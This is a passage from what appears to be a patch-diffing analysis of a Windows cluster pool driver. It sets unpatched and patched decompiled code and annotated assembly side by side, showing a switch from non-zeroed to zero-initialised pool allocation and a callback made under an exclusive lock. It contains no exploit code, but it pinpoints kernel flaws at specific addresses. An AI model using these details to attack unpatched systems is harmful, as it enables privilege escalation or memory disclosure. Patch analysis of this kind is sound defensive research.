&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DoTraceReturn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ClusPoolReadRegistrationKeys&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// immediate free on each error path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;DoTraceReturn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ClusPoolReadRegistrationKeys&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// allocation-failure exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Pool::Arbitrate — Allocation Difference&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1c000addc) =====&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;POOL_TYPE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CdP4&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x34506443, NOT zeroed&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// store count at offset 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;elems&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// array data at offset 8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elems&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// zero the element region&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// buf is not returned raw to any caller before this initialization runs.&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x140009778) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Two CAutoArrayMemPtr handle-array wrappers are default-constructed first:&lt;/span&gt;
&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;wrapperA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CAutoArrayMemPtr&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CAutoHandle&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;_FILE_OBJECT&lt;/span&gt;&lt;span class="o"&gt;*&amp;gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;CAutoArrayMemPtr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// ... then the element buffer is allocated zero-initialized:&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x34506443&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// POOL_FLAG_NON_PAGED, zero-init&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// store count at offset 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Pool::PendDefenseIrp — Unpatched Assembly (annotated)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Unpatched: 0x1C000AB5C&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB5C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB5E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB61&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; rdi = this+0x40 (exclusive ERESOURCE)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r14 = a2 (IRP)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rbp = this&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; Wait&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB73&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Resource = this+0x40&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** EXCLUSIVE LOCK ACQUIRED ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB82&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;218&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; SpacePort callback proxy context&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; this+0x28 (_GUID*)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AB9C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABA1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;PrmGetNumberOfDevices@SpacePortCallbackProxy@@...&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** callback runs under exclusive lock ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABAF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABB1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000ABCC&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; continue if success&lt;/span&gt;
&lt;span class="c1"&gt;; ... error path: DoTraceReturn, then release this+0x40 and return ...&lt;/span&gt;

&lt;span class="c1"&gt;; At 0x1C000ABCC (success continuation) — second lock is the SHARED resource this+0x178:&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABD0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;178&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; this+0x178 (shared ERESOURCE)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; Wait&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABDB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Resource = this+0x178&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000ABE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAcquireResourceSharedLite&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Pool::PendDefenseIrp — Patched Assembly (annotated)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Patched: 0x14000CAF8&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAF8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAFB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAFC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAFD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CAFF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB05&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r14 = a2 (IRP)&lt;/span&gt;
